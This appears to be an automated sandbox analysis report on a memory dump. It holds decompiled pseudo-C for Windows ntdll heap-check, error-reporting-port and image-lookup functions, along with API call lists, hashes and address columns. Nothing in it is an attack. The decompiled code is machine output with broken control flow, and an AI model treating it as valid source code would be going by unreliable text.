Part of subcall function 6CE22280: RtlDllShutdownInProgress.1105(00000000), ref: 6CE222BA
Part of subcall function 6CE22280: ZwWaitForAlertByThreadId.1105(?,00000000,?,?,?,?,?,?,?,00000000), ref: 6CE223A3

RtlGetCurrentServiceSessionId.1105(?,?,00000000,?,00000000,?,?,6CE03A82,?,?,?,?,?,00000001,00000000,?), ref: 6CE3DECE
ZwUnsubscribeWnfStateChange.1105(?,?,?,00000000,?,00000000,?,?,6CE03A82,?,?,?,?,?,00000001,00000000), ref: 6CE3DEEE
RtlReleaseSRWLockExclusive.1105(?,?,?,?,00000000,?,00000000,?,?,6CE03A82,?,?,?,?,?,00000001), ref: 6CE3DF0A
RtlFreeHeap.1105(?,00000000,?,?,?,?,?,00000000,?,00000000,?,?,6CE03A82,?), ref: 6CE3DF25
RtlReleaseSRWLockExclusive.1105(?,?,?,?,00000000,?,00000000,?,?,6CE03A82,?,?,?,?,?,00000001), ref: 6CE3DF33
RtlReleaseSRWLockExclusive.1105(?,?,?,00000000,?,00000000,?,?,6CE03A82,?,?,?,?,?,00000001,00000000), ref: 6CE3DF40
RtlFreeHeap.1105(?,00000000,00000000,?,?,?,?,00000000,?,00000000,?,?,6CE03A82,?), ref: 6CE7B46E

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$AcquireFreeHeap$AlertChangeCurrentProgressServiceSessionShutdownStateThreadUnsubscribeWait
String ID:
API String ID: 3923771875-0
Opcode ID: 3b67f29b11752309ac649ed471ac71d96c32f32a74f8caef42ccc603877be723
Instruction ID: 2aa980a05e2d91b215fc280c5631451707c097fdfbcfd7619f9130c77f91e561
Opcode Fuzzy Hash: 3b67f29b11752309ac649ed471ac71d96c32f32a74f8caef42ccc603877be723
Instruction Fuzzy Hash: AE21F2722146409BC7218B29CC85F56B7B9FF4632CF244669E0198BFA0D738F915CAA0

Uniqueness

Uniqueness Score: -1.00%

Function 6CEB23E3, Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 166
COMMONCrypto

Download Yara Rule

C-Code - Quality: 64%

			E6CEB23E3(signed int __ecx, unsigned int __edx) {
				intOrPtr _v8;
				intOrPtr _t42;
				char _t43;
				signed short _t44;
				signed short _t48;
				signed char _t51;
				signed short _t52;
				intOrPtr _t54;
				signed short _t64;
				signed short _t66;
				intOrPtr _t69;
				signed short _t73;
				signed short _t76;
				signed short _t77;
				signed short _t79;
				void* _t83;
				signed int _t84;
				signed int _t85;
				signed char _t94;
				unsigned int _t99;
				unsigned int _t104;
				signed int _t108;
				void* _t110;
				void* _t111;
				unsigned int _t114;

				_t84 = __ecx;
				_push(__ecx);
				_t114 = __edx;
				_t42 =  *((intOrPtr*)(__edx + 7));
				if(_t42 == 1) {
					L49:
					_t43 = 1;
					L50:
					return _t43;
				}
				if(_t42 != 4) {
					if(_t42 >= 0) {
						if( *(__ecx + 0x4c) == 0) {
							_t44 =  *__edx & 0x0000ffff;
						} else {
							_t73 =  *__edx;
							if(( *(__ecx + 0x4c) & _t73) != 0) {
								_t73 = _t73 ^  *(__ecx + 0x50);
							}
							_t44 = _t73 & 0x0000ffff;
						}
					} else {
						_t104 = __edx >> 0x00000003 ^  *__edx ^  *0x6cef874c ^ __ecx;
						if(_t104 == 0) {
							_t76 =  *((intOrPtr*)(__edx - (_t104 >> 0xd)));
						} else {
							_t76 = 0;
						}
						_t44 =  *((intOrPtr*)(_t76 + 0x14));
					}
					_t94 =  *((intOrPtr*)(_t114 + 7));
					_t108 = _t44 & 0xffff;
					if(_t94 != 5) {
						if((_t94 & 0x00000040) == 0) {
							if((_t94 & 0x0000003f) == 0x3f) {
								if(_t94 >= 0) {
									if( *(_t84 + 0x4c) == 0) {
										_t48 =  *_t114 & 0x0000ffff;
									} else {
										_t66 =  *_t114;
										if(( *(_t84 + 0x4c) & _t66) != 0) {
											_t66 = _t66 ^  *(_t84 + 0x50);
										}
										_t48 = _t66 & 0x0000ffff;
									}
								} else {
									_t99 = _t114 >> 0x00000003 ^  *_t114 ^  *0x6cef874c ^ _t84;
									if(_t99 == 0) {
										_t69 =  *((intOrPtr*)(_t114 - (_t99 >> 0xd)));
									} else {
										_t69 = 0;
									}
									_t48 =  *((intOrPtr*)(_t69 + 0x14));
								}
								_t85 =  *(_t114 + (_t48 & 0xffff) * 8 - 4);
							} else {
								_t85 = _t94 & 0x3f;
							}
						} else {
							_t85 =  *(_t114 + 4 + (_t94 & 0x3f) * 8) & 0x0000ffff;
						}
					} else {
						_t85 =  *(_t84 + 0x54) & 0x0000ffff ^  *(_t114 + 4) & 0x0000ffff;
					}
					_t110 = (_t108 << 3) - _t85;
				} else {
					if( *(__ecx + 0x4c) == 0) {
						_t77 =  *__edx & 0x0000ffff;
					} else {
						_t79 =  *__edx;
						if(( *(__ecx + 0x4c) & _t79) != 0) {
							_t79 = _t79 ^  *(__ecx + 0x50);
						}
						_t77 = _t79 & 0x0000ffff;
					}
					_t110 =  *((intOrPtr*)(_t114 - 8)) - (_t77 & 0x0000ffff);
				}
				_t51 =  *((intOrPtr*)(_t114 + 7));
				if(_t51 != 5) {
					if((_t51 & 0x00000040) == 0) {
						_t52 = 0;
						goto L42;
					}
					_t64 = _t51 & 0x3f;
					goto L38;
				} else {
					_t64 =  *(_t114 + 6) & 0x000000ff;
					L38:
					_t52 = _t64 << 0x00000003 & 0x0000ffff;
					L42:
					_t35 = _t114 + 8; // -16
					_t111 = _t110 + (_t52 & 0x0000ffff);
					_t83 = _t35 + _t111;
					_t54 = E6CE5D4F0(_t83, 0x6cde6c58, 8);
					_v8 = _t54;
					if(_t54 == 8) {
						goto L49;
					}
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push("HEAP: ");
						E6CE0B150();
					} else {
						E6CE0B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push(_t111);
					_push(_v8 + _t83);
					E6CE0B150("Heap block at %p modified at %p past requested size of %Ix\n", _t114);
					if( *((char*)( *[fs:0x30] + 2)) != 0) {
						 *0x6cef6378 = 1;
						asm("int3");
						 *0x6cef6378 = 0;
					}
					_t43 = 0;
					goto L50;
				}
			}

0x6ceb23e3
0x6ceb23e8
0x6ceb23eb
0x6ceb23ee
0x6ceb23f3
0x6ceb259b
0x6ceb259b
0x6ceb259d
0x6ceb25a3
0x6ceb25a3
0x6ceb23fb
0x6ceb2424
0x6ceb244f
0x6ceb2460
0x6ceb2451
0x6ceb2451
0x6ceb2456
0x6ceb2458
0x6ceb2458
0x6ceb245b
0x6ceb245b
0x6ceb2426
0x6ceb2431
0x6ceb2436
0x6ceb2443
0x6ceb2438
0x6ceb2438
0x6ceb2438
0x6ceb2445
0x6ceb2445
0x6ceb2463
0x6ceb2469
0x6ceb246f
0x6ceb2480
0x6ceb2495
0x6ceb24a1
0x6ceb24ce
0x6ceb24df
0x6ceb24d0
0x6ceb24d0
0x6ceb24d5
0x6ceb24d7
0x6ceb24d7
0x6ceb24da
0x6ceb24da
0x6ceb24a3
0x6ceb24b0
0x6ceb24b5
0x6ceb24c2
0x6ceb24b7
0x6ceb24b7
0x6ceb24b7
0x6ceb24c4
0x6ceb24c4
0x6ceb24e8
0x6ceb2497
0x6ceb249a
0x6ceb249a
0x6ceb2482
0x6ceb2488
0x6ceb2488
0x6ceb2471
0x6ceb2479
0x6ceb2479
0x6ceb24ef
0x6ceb23fd
0x6ceb2401
0x6ceb2412
0x6ceb2403
0x6ceb2403
0x6ceb2408
0x6ceb240a
0x6ceb240a
0x6ceb240d
0x6ceb240d
0x6ceb241b
0x6ceb241b
0x6ceb24f1
0x6ceb24f6
0x6ceb2507
0x6ceb2510
0x00000000
0x6ceb2510
0x6ceb250b
0x00000000
0x6ceb24f8
0x6ceb24f8
0x6ceb24fc
0x6ceb2500
0x6ceb2512
0x6ceb2515
0x6ceb251a
0x6ceb2521
0x6ceb2524
0x6ceb2529
0x6ceb252f
0x00000000
0x00000000
0x6ceb253c
0x6ceb255c
0x6ceb2561
0x6ceb253e
0x6ceb2554
0x6ceb2559
0x6ceb256a
0x6ceb256d
0x6ceb2574
0x6ceb2586
0x6ceb2588
0x6ceb258f
0x6ceb2590
0x6ceb2590
0x6ceb2597
0x00000000
0x6ceb2597

APIs

RtlCompareMemory.1105(-00000010,6CDE6C58,00000008,?,-00000018,?,?,?,6CEC4BD7), ref: 6CEB2524
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,-00000010,6CDE6C58,00000008,?,-00000018,?,?,?,6CEC4BD7), ref: 6CEB2554
DbgPrint.1105(HEAP: ,-00000010,6CDE6C58,00000008,?,-00000018,?,?,?,6CEC4BD7), ref: 6CEB2561
DbgPrint.1105(Heap block at %p modified at %p past requested size of %Ix,-00000018,?,?,-00000010,6CDE6C58,00000008,?,-00000018,?,?,?,6CEC4BD7), ref: 6CEB2574

Strings

HEAP[%wZ]: , xrefs: 6CEB254F
HEAP: , xrefs: 6CEB255C
Heap block at %p modified at %p past requested size of %Ix, xrefs: 6CEB256F

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$CompareMemory
String ID: HEAP: $HEAP[%wZ]: $Heap block at %p modified at %p past requested size of %Ix
API String ID: 216965414-3815128232
Opcode ID: d60899c48a0662247076c6e1bb7a413b8e2e4648e3f270ec52639dbc18d69ef8
Instruction ID: 3884ee9da5d6ebc36b867c42607572d01e05299a4f3d169ab760812d90826216
Opcode Fuzzy Hash: d60899c48a0662247076c6e1bb7a413b8e2e4648e3f270ec52639dbc18d69ef8
Instruction Fuzzy Hash: BC5118B41012908AE360CE2ACA48772B7F1EF6A34DF704859E4E5DBF85D235D847DB61

Uniqueness

Uniqueness Score: -1.00%

Function 6CE91570, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 137
nativeCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E6CE91570(intOrPtr __ecx, signed int __edx, void* __edi, void* __eflags) {
				signed int _v8;
				char _v36;
				void _v52;
				char _v56;
				char _v60;
				short _v64;
				char _v68;
				char _v72;
				signed int _v76;
				intOrPtr _v80;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				char _v100;
				int _v104;
				int _v108;
				int _v112;
				int _v116;
				int _v120;
				char _v124;
				void* _v132;
				void* __ebx;
				void* __esi;
				void* __ebp;
				intOrPtr _t48;
				intOrPtr _t53;
				intOrPtr _t59;
				signed int _t61;
				signed int _t62;
				signed int* _t63;
				signed int* _t70;
				int _t73;
				signed int _t84;

				_t82 = __edi;
				_t81 = __edx;
				_v8 =  *0x6cefd360 ^ _t84;
				_t73 = 0;
				_v76 = __edx;
				_v80 = __ecx;
				_v60 = 0;
				_v56 = 0;
				_v68 = 0;
				_v64 = 0x500;
				_t48 = E6CE916FA();
				_t83 = _t48;
				if(_t48 < 0) {
					L19:
					if(_v60 != 0) {
						_push(_v60);
						E6CE495D0();
					}
					return E6CE4B640(_t83, _t73, _v8 ^ _t84, _t81, _t82, _t83);
				}
				_push(0);
				_push(8);
				_push( &_v100);
				_push(0x73);
				_t53 = E6CE49860();
				_t83 = _t53;
				if(_t53 < 0) {
					goto L19;
				}
				_t83 = E6CE9176C(_v100);
				if(_t83 < 0) {
					goto L19;
				}
				_t92 = _t83 - 0x102;
				if(_t83 == 0x102) {
					goto L19;
				}
				RtlInitUnicodeString( &_v132, L"\\WindowsErrorReportingServicePort");
				memset( &_v52, 0, 0x2c);
				_v36 = 0x568;
				_push( &_v56);
				_t59 = E6CE91879(0,  &_v68, __edi, _t83, _t92);
				_t83 = _t59;
				if(_t59 >= 0) {
					_t61 = _v96;
					_v124 = 0x18;
					_v120 = 0;
					_v112 = 0;
					_v116 = 0;
					_v108 = 0;
					_v104 = 0;
					if(_t61 != 0xffffffff) {
						_t81 = _t61 * 0xffffd8f0 >> 0x20;
						_t62 = _t61 * 0xffffd8f0;
						__eflags = _t62;
						_v92 = _t62;
						_t63 =  &_v92;
						_v88 = _t61 * 0xffffd8f0 >> 0x20;
					} else {
						_t73 = 1;
						_t63 = 0;
					}
					_push(_t63);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(_v56);
					_push(0x20000);
					_push( &_v52);
					_push( &_v124);
					_push( &_v132);
					_push( &_v60);
					_t83 = E6CE49C70();
					if(_t83 >= 0 && _t83 != 0x102) {
						_v72 = 0x568;
						if(_t73 == 0) {
							_t70 =  &_v92;
						} else {
							_t70 = 0;
						}
						_t73 = _v76;
						_push(_t70);
						_push(0);
						_push( &_v72);
						_push(_t73);
						_push(0);
						_push(_v80);
						_push(0x20000);
						_push(_v60);
						_t83 = E6CE49DA0();
						if(_t83 >= 0 && _t83 != 0x102) {
							_t83 =  *((intOrPtr*)(_t73 + 0x1c));
							if( *((intOrPtr*)(_t73 + 0x1c)) >= 0) {
								_t83 = 0;
							}
						}
					}
				}
				if(_v56 != 0) {
					E6CE91AD6(_v56);
				}
				goto L19;
			}

0x6ce91570
0x6ce91570
0x6ce91582
0x6ce91586
0x6ce91588
0x6ce9158c
0x6ce9158f
0x6ce91592
0x6ce91595
0x6ce91598
0x6ce9159e
0x6ce915a3
0x6ce915a7
0x6ce916da
0x6ce916de
0x6ce916e0
0x6ce916e3
0x6ce916e3
0x6ce916f9
0x6ce916f9
0x6ce915ad
0x6ce915ae
0x6ce915b3
0x6ce915b4
0x6ce915b6
0x6ce915bb
0x6ce915bf
0x00000000
0x00000000
0x6ce915cd
0x6ce915d1
0x00000000
0x00000000
0x6ce915d7
0x6ce915dd
0x00000000
0x00000000
0x6ce915ec
0x6ce915f8
0x6ce91600
0x6ce9160d
0x6ce91611
0x6ce91616
0x6ce9161a
0x6ce91620
0x6ce91623
0x6ce9162a
0x6ce9162d
0x6ce91630
0x6ce91633
0x6ce91636
0x6ce9163c
0x6ce91649
0x6ce91649
0x6ce91649
0x6ce9164b
0x6ce9164e
0x6ce91651
0x6ce9163e
0x6ce9163e
0x6ce91640
0x6ce91640
0x6ce91654
0x6ce91657
0x6ce91658
0x6ce91659
0x6ce9165a
0x6ce9165b
0x6ce91661
0x6ce91666
0x6ce9166a
0x6ce9166e
0x6ce91672
0x6ce91678
0x6ce9167c
0x6ce91686
0x6ce9168f
0x6ce91695
0x6ce91691
0x6ce91691
0x6ce91691
0x6ce91698
0x6ce9169b
0x6ce9169c
0x6ce916a1
0x6ce916a2
0x6ce916a3
0x6ce916a5
0x6ce916a8
0x6ce916ad
0x6ce916b5
0x6ce916b9
0x6ce916c3
0x6ce916c8
0x6ce916ca
0x6ce916ca
0x6ce916c8
0x6ce916b9
0x6ce9167c
0x6ce916d0
0x6ce916d5
0x6ce916d5
0x00000000

APIs

Part of subcall function 6CE916FA: ZwQueryWnfStateNameInformation.1105(6CDEFB74,00000001,00000000,00000568,00000004,?,?,00000000,?,?,?,?,6CE915A3,?,00000568), ref: 6CE91718
Part of subcall function 6CE916FA: ZwUpdateWnfStateData.1105(6CDEFB74,00000000,00000000,00000000,00000000,00000000,00000000,6CDEFB74,00000001,00000000,00000568,00000004,?,?,00000000), ref: 6CE9172D
Part of subcall function 6CE916FA: EtwEventWriteNoRegistration.1105(6CDEFB7C,?,00000000,00000000,6CDEFB74,00000001,00000000,00000568,00000004,?,?,00000000,?,?,?,?), ref: 6CE9174B

ZwQuerySystemInformation.1105(00000073,?,00000008,00000000,?,00000568), ref: 6CE915B6

Part of subcall function 6CE49860: LdrInitializeThunk.NTDLL(6CE915BB,00000073,?,00000008,00000000,?,00000568), ref: 6CE4986A

Part of subcall function 6CE9176C: ZwOpenEvent.1105(00000568,00100001,?,?,00000000), ref: 6CE917B5
Part of subcall function 6CE9176C: ZwWaitForSingleObject.1105(00000568,00000000,?,00000568,00100001,?,?,00000000), ref: 6CE917E1
Part of subcall function 6CE9176C: ZwClose.1105(00000568,00000568,00000000,?,00000568,00100001,?,?,00000000), ref: 6CE917EB

RtlInitUnicodeString.1105(?,\WindowsErrorReportingServicePort,00000073,?,00000008,00000000,?,00000568), ref: 6CE915EC
memset.1105(?,00000000,0000002C,?,\WindowsErrorReportingServicePort,00000073,?,00000008,00000000,?,00000568), ref: 6CE915F8
ZwAlpcConnectPort.1105(?,?,00000018,?,00020000,?,00000000,00000000,00000000,00000000,?), ref: 6CE91673
ZwAlpcSendWaitReceivePort.1105(?,00020000,?,00000000,?,00000568,00000000,?,?,?,00000018,?,00020000,?,00000000,00000000), ref: 6CE916B0
ZwClose.1105(00000000,?,00000568), ref: 6CE916E3

Strings

\WindowsErrorReportingServicePort, xrefs: 6CE915E3

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: AlpcCloseEventInformationPortQueryStateWait$ConnectDataInitInitializeNameObjectOpenReceiveRegistrationSendSingleStringSystemThunkUnicodeUpdateWritememset
String ID: \WindowsErrorReportingServicePort
API String ID: 360723211-589754893
Opcode ID: 21da8868a7e44b32880ea638befb9e6358104c6c7c32d442624ff1cefe0f069c
Instruction ID: 6c3eba4708b0dfce93282e24b2f0495c74de7c4750ba220caa4fe311e36f76a9
Opcode Fuzzy Hash: 21da8868a7e44b32880ea638befb9e6358104c6c7c32d442624ff1cefe0f069c
Instruction Fuzzy Hash: 2C414DB2D0261DABDB11CFE5D880AEEBBBDAF04718F244129E914BB651D730DD49CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6CE1DD80, Relevance: 12.3, APIs: 8, Instructions: 337
nativeCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E6CE1DD80(void* __ecx, signed int __edx) {
				intOrPtr _v8;
				signed char _v13;
				void* _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				long _v40;
				signed char _v44;
				signed int _v48;
				signed int _v52;
				void* __ebp;
				signed int _t111;
				signed char _t117;
				void* _t119;
				void* _t121;
				signed int _t123;
				signed int _t132;
				intOrPtr _t141;
				signed char _t142;
				signed int _t145;
				signed int _t149;
				signed int _t150;
				signed char _t151;
				signed int* _t157;
				signed int _t162;
				signed int _t165;
				signed char _t168;
				signed int _t169;
				void* _t172;
				signed char _t176;
				char _t178;
				signed int _t186;
				signed int _t187;
				signed int _t188;
				signed int _t195;
				signed int _t199;
				void* _t201;
				signed int* _t203;
				signed int _t207;
				signed int* _t208;
				void* _t213;

				_t186 = __edx;
				_v8 =  *((intOrPtr*)(_t213 + 4));
				_t203 = __edx;
				_v24 = 0;
				_t195 = __ecx;
				_v32 = __edx;
				_v20 = __ecx;
				 *((intOrPtr*)(__edx + 4)) = 0;
				 *((intOrPtr*)(__edx + 8)) = 0;
				if( *0x6cef8474 != 3) {
					L16:
					_push(0);
					_push(0xc);
					_push( &_v52);
					_push(6);
					_push(_t195);
					_push(0xffffffff);
					if(E6CE49730() < 0) {
						L66:
						_t165 = 0;
						_v20 = 0;
						L21:
						_t203[1] = _t165;
						if(_t165 == 0) {
							_t187 = _v24;
							L43:
							_t111 = _t187;
							L15:
							return _t111;
						}
						_v28 = 0;
						E6CE1E9C0(1, _t165, 0, 0,  &_v28);
						if(( *(_v28 + 0x5e) & 0x00000400) != 0) {
							L56:
							_t188 = _t186 | 0xffffffff;
							_t111 = _t188;
							_t203[3] = _t195 | _t188;
							 *_t203 = _t188;
							goto L15;
						}
						E6CE1E9C0(1, _v20, 0, 0,  &_v40);
						_t117 = _v20;
						_t195 = 0;
						_v13 = 1;
						_t168 = _t117;
						_v24 = _t168;
						_v32 = 0;
						_v36 = 0;
						if((_t117 & 0x00000003) != 0) {
							_v24 = _t168;
							_v13 =  !_t117 & 0x00000001;
						}
						_t119 = E6CE1E9C0(1, _t168, 0, 0,  &_v32);
						_t169 = _v32;
						if(_t169 == 0) {
							L72:
							if(_t119 < 0) {
								goto L74;
							}
							_t186 = _v32;
						} else {
							_t132 =  *(_t169 + 0x18) & 0x0000ffff;
							_t186 = 0x10b;
							if(_t132 != 0x10b) {
								_t186 = 0x20b;
								if(_t132 != 0x20b) {
									L74:
									_t121 = RtlImageDirectoryEntryToData(_v20, 1, 0xe,  &_v40);
									if(_t121 == 0 || ( *(_t121 + 0x10) & 0x00000001) == 0) {
										_t187 = 0;
										L42:
										_t203[3] = 0;
										 *_t203 = _t187;
										goto L43;
									} else {
										goto L56;
									}
								}
								_t186 = _v13;
								_t119 = E6CE02F47(_v24, _t186, 0xa,  &_v32, _t169,  &_v36);
								_t195 = _v36;
								goto L72;
							}
							if( *((intOrPtr*)(_t169 + 0x74)) <= 0xa) {
								goto L74;
							}
							_t195 =  *(_t169 + 0xc8);
							if(_t195 == 0) {
								goto L74;
							}
							_t186 =  *(_t169 + 0xcc);
							_v36 = _t186;
							if(_v13 == 0) {
								if(_t195 <  *((intOrPtr*)(_t169 + 0x54))) {
									goto L30;
								}
								_t195 = E6CE43C00(_t169, _v24, _t195);
								if(_t195 == 0) {
									goto L74;
								}
								_t186 = _v36;
								L31:
								if(_t195 == 0 || _t186 == 0 || _t186 != 0x40 && _t186 !=  *_t195) {
									goto L74;
								} else {
									_t123 =  *(_v40 + 4) & 0x0000ffff;
									if(_t123 == 0x3a64 || _t123 == 0x14c) {
										if( *_t195 < 0x48) {
											goto L74;
										}
										_t186 =  *(_t195 + 0x40);
										if(_t186 == 0) {
											goto L74;
										}
										_t195 =  *(_t195 + 0x44);
										if(_t195 == 0) {
											goto L74;
										}
										_t172 = _v20;
										if(_t186 <  *((intOrPtr*)(_v28 + 0x54)) + _t172 || _t195 >  *((intOrPtr*)(_v28 + 0x50)) - _t186 + _t172 >> 2) {
											goto L56;
										} else {
											goto L42;
										}
									} else {
										goto L74;
									}
								}
							}
							L30:
							_t195 = _t195 + _v24;
						}
						goto L31;
					}
					_t165 = _v52;
					_v20 = _t165;
					if(_t165 == 0 || (_v44 & 0x00000003) != 0 || _t195 < _t165) {
						goto L66;
					} else {
						_t203[2] = _v48;
						goto L21;
					}
				}
				E6CE2FAD0(0x6cef8654);
				_t141 =  *0x6cefb350; // 0x1
				if(_t141 == 1) {
					L13:
					_t142 = 0x11;
					asm("lock cmpxchg [esi], ecx");
					_t176 = 0x11;
					if(0x11 != 0x11) {
						if(1 == 0) {
							L6CE5DF30(0x11, _t186, 0xc0000264);
							L62:
							_t145 = _t176 & 0xfffffff0;
							_t186 =  *(_t145 + 4);
							if(_t186 != 0) {
								L64:
								asm("lock xadd [edx+0x10], eax");
								if((_t145 | 0xffffffff) - 1 > 0) {
									goto L14;
								}
								_v28 = 0xfffffff7;
								L50:
								_t199 = _v28;
								while(1) {
									_t149 = _t176 & 0x00000006;
									_v36 = _t149;
									if(_t149 != 2) {
										_t150 = _t199;
									} else {
										_t150 = _t199 + 4;
									}
									_t186 = _t176 + _t150;
									_t151 = _t176;
									asm("lock cmpxchg [edi], esi");
									_t199 = _v28;
									if(_t151 == _t176) {
										break;
									}
									_t176 = _t151;
								}
								_t195 = _v20;
								if(_v36 == 2) {
									_t186 = 0;
									E6CE400C2(0x6cef8654, 0, 0);
								}
								goto L14;
							} else {
								goto L63;
							}
							do {
								L63:
								_t145 =  *_t145;
								_t186 =  *(_t145 + 4);
							} while (_t186 == 0);
							goto L64;
						}
						if(0 != 0) {
							L48:
							if((_t176 & 0x00000008) != 0) {
								goto L62;
							}
							_v28 = _t142 | 0xffffffff;
							goto L50;
						} else {
							goto L46;
						}
						while(1) {
							L46:
							_t75 = _t176 - 0x10; // 0x1
							asm("sbb edx, edx");
							_t186 =  ~((_t176 & 0xfffffff0) - 0x10) & _t75;
							_t142 = _t176;
							asm("lock cmpxchg [esi], edx");
							if(_t142 == _t176) {
								goto L14;
							}
							_t176 = _t142;
							if((_t142 & 0x00000002) == 0) {
								continue;
							}
							goto L48;
						}
					}
					L14:
					_t111 = _v24;
					if(_t111 == 0) {
						if( *0x6cefb35c == 0) {
							goto L15;
						}
						_t203 = _v32;
						goto L16;
					}
					goto L15;
				}
				_t178 = 1;
				_t8 = _t141 - 1; // 0x0
				_t201 = _t8;
				if(_t201 < 1) {
					L12:
					_t195 = _v20;
					goto L13;
				}
				do {
					_t186 = _t178 + _t201 >> 1;
					_t157 = (_t186 << 4) + 0x6cefb360;
					_t207 = _t157[1];
					if(_v20 < _t207) {
						if(_t186 == 0) {
							goto L12;
						}
						_t201 = _t186 - 1;
						goto L7;
					}
					if(_v20 < _t157[2] + _t207) {
						_t208 = _v32;
						 *_t208 =  *_t157;
						_t208[1] = _t157[1];
						_t208[2] = _t157[2];
						_t208[3] = _t157[3];
						_t186 =  *0x7ffe0330;
						asm("ror eax, cl");
						_t162 =  *_t208 ^ _t186;
						_v24 = _t162;
						 *_t208 = _t162;
						goto L12;
					}
					_t178 = _t186 + 1;
					L7:
				} while (_t201 >= _t178);
				goto L12;
			}

0x6ce1dd80
0x6ce1dd92
0x6ce1dda3
0x6ce1dda5
0x6ce1ddad
0x6ce1ddaf
0x6ce1ddb2
0x6ce1ddb5
0x6ce1ddbc
0x6ce1ddc3
0x6ce1de8b
0x6ce1de8b
0x6ce1de8d
0x6ce1de92
0x6ce1de93
0x6ce1de95
0x6ce1de96
0x6ce1de9f
0x6ce6b5c2
0x6ce6b5c2
0x6ce6b5c4
0x6ce1decb
0x6ce1decb
0x6ce1ded0
0x6ce6b645
0x6ce1e01e
0x6ce1e01e
0x6ce1de82
0x6ce1de8a
0x6ce1de8a
0x6ce1ded9
0x6ce1dee8
0x6ce1def9
0x6ce1e0b6
0x6ce1e0b6
0x6ce1e0bb
0x6ce1e0bd
0x6ce1e0c0
0x00000000
0x6ce1e0c0
0x6ce1df0d
0x6ce1df12
0x6ce1df15
0x6ce1df17
0x6ce1df1b
0x6ce1df1d
0x6ce1df20
0x6ce1df27
0x6ce1df2c
0x6ce1df35
0x6ce1df38
0x6ce1df38
0x6ce1df46
0x6ce1df4b
0x6ce1df50
0x6ce6b611
0x6ce6b613
0x00000000
0x00000000
0x6ce6b615
0x6ce1df56
0x6ce1df56
0x6ce1df5a
0x6ce1df62
0x6ce6b5ee
0x6ce6b5f6
0x6ce6b61d
0x6ce6b629
0x6ce6b630
0x6ce6b63c
0x6ce1e019
0x6ce1e019
0x6ce1e01c
0x00000000
0x00000000
0x00000000
0x00000000
0x6ce6b630
0x6ce6b5f8
0x6ce6b609
0x6ce6b60e
0x00000000
0x6ce6b60e
0x6ce1df6c
0x00000000
0x00000000
0x6ce1df72
0x6ce1df7a
0x00000000
0x00000000
0x6ce1df84
0x6ce1df8a
0x6ce1df8d
0x6ce6b5cf
0x00000000
0x00000000
0x6ce6b5e0
0x6ce6b5e4
0x00000000
0x00000000
0x6ce6b5e6
0x6ce1df96
0x6ce1df98
0x00000000
0x6ce1dfb3
0x6ce1dfbb
0x6ce1dfc2
0x6ce1dfd5
0x00000000
0x00000000
0x6ce1dfdb
0x6ce1dfe0
0x00000000
0x00000000
0x6ce1dfe6
0x6ce1dfeb
0x00000000
0x00000000
0x6ce1dff4
0x6ce1dffe
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ce1dfc2
0x6ce1df98
0x6ce1df93
0x6ce1df93
0x6ce1df93
0x00000000
0x6ce1df50
0x6ce1dea5
0x6ce1dea8
0x6ce1dead
0x00000000
0x6ce1dec5
0x6ce1dec8
0x00000000
0x6ce1dec8
0x6ce1dead
0x6ce1ddce
0x6ce1ddd3
0x6ce1dddb
0x6ce1de5c
0x6ce1de63
0x6ce1de68
0x6ce1de6c
0x6ce1de71
0x6ce1e028
0x6ce6b58b
0x6ce6b590
0x6ce6b592
0x6ce6b595
0x6ce6b59a
0x6ce6b5a5
0x6ce6b5a8
0x6ce6b5b0
0x00000000
0x00000000
0x6ce6b5b6
0x6ce1e067
0x6ce1e067
0x6ce1e070
0x6ce1e072
0x6ce1e075
0x6ce1e07b
0x6ce1e0dc
0x6ce1e07d
0x6ce1e07d
0x6ce1e07d
0x6ce1e080
0x6ce1e08a
0x6ce1e08c
0x6ce1e090
0x6ce1e095
0x00000000
0x00000000
0x6ce1e0e0
0x6ce1e0e0
0x6ce1e09b
0x6ce1e09e
0x6ce1e0a5
0x6ce1e0ac
0x6ce1e0ac
0x00000000
0x00000000
0x00000000
0x00000000
0x6ce6b59c
0x6ce6b59c
0x6ce6b59c
0x6ce6b59e
0x6ce6b5a1
0x00000000
0x6ce6b59c
0x6ce1e031
0x6ce1e058
0x6ce1e05b
0x00000000
0x00000000
0x6ce1e064
0x00000000
0x00000000
0x00000000
0x00000000
0x6ce1e033
0x6ce1e033
0x6ce1e035
0x6ce1e040
